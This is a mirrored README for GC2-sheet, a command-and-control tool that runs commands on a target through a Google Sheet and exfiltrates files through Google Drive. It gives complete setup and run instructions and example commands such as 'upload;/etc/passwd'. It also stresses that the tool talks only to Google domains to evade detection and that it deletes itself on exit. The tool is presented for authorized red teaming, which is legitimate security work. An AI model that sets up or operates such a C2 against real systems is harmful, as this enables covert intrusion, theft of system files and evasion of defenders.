Code Monkey home page Code Monkey logo

gc2-sheet's Introduction

GC2

Logo

GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet and exfiltrates data using Google Drive.

Why

This project has been developed to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, ...) during Red Teaming activities.

Furthermore, the program will interact only with Google's domains (*.google.com) to make detection more difficult.

Set up

  1. Create a new Google "service account"

    Create a new Google "service account" using https://console.cloud.google.com/, create a .json key file for the service account

  2. Enable Google Sheet API and Google Drive API

    Enable Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api and Google Sheet API https://developers.google.com/sheets/api/quickstart/go

  3. Set up Google Sheet and Google Drive

    Create a new Google Sheet and add the service account to the editor group of the spreadsheet (to add the service account use its email)

    Sheet Permission

    Create a new Google Drive folder and add the service account to the editor group of the folder (to add the service account use its email)

    Sheet Permission

  4. Download the C2

    The C2 can be cloned directly from GitHub:

    git clone https://github.com/looCiprian/GC2-sheet
    cd GC2-sheet
    
  5. Configure the C2

    The preferred way to configure the C2 is by modifying the options.yml file inside the cmd directory.

    The options.yml file is structured as follows:

    key: # escaped JSON key
    sheet: # sheetID
    drive: # driveID
    verbose: # verbose true or false
    
  6. Build executable

    go build gc2-sheet.go
    
  7. Run

    If the configuration file has been modified just run:

    ./gc2-sheet
    

    Otherwise, it is possible to use the command options after compiling the C2:

    gc2-sheet --key <GCP service account credential file .JSON > --sheet <Google sheet ID> --drive <Google drive ID>
    

Troubleshooting

Most of the errors can be detected by setting the verbose flag to true. By default, the C2 does not generate any output or error information.

Features

  • Command execution using Google Sheet as a console
  • Download files on the target using Google Drive
  • Data exfiltration using Google Drive
  • Exit

Command execution

The program will perform a request to the spreedsheet every 5 sec to check if there are some new commands. Commands must be inserted in column A, and the output will be printed in the column B.

Data exfiltration file

Special commands are reserved to perform the upload and download to the target machine

From Target to Google Drive
upload;<remote path>
Example:
upload;/etc/passwd

Download file

Special commands are reserved to perform the upload and download to the target machine

From Google Drive to Target
download;<google drive file id>;<remote path>
Example:
download;<file ID>;/home/user/downloaded.txt

Exit

By sending the command exit, the program will delete itself from the target and kill its process

PS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case, the symlink is deleted.

Workflow

Work Flow

Demo

Demo

Demo by Grant Collins

Disclaimer

The owner of this project is not responsible for any illegal usage of this program.

This is an open source project meant to be used with authorization to assess the security posture and for research purposes.

The final user is solely responsible for their actions and decisions. The use of this project is at your own risk. The owner of this project does not accept any liability for any loss or damage caused by the use of this project.

Support the project

Pull request or paypal

gc2-sheet's People

Contributors

loociprian avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.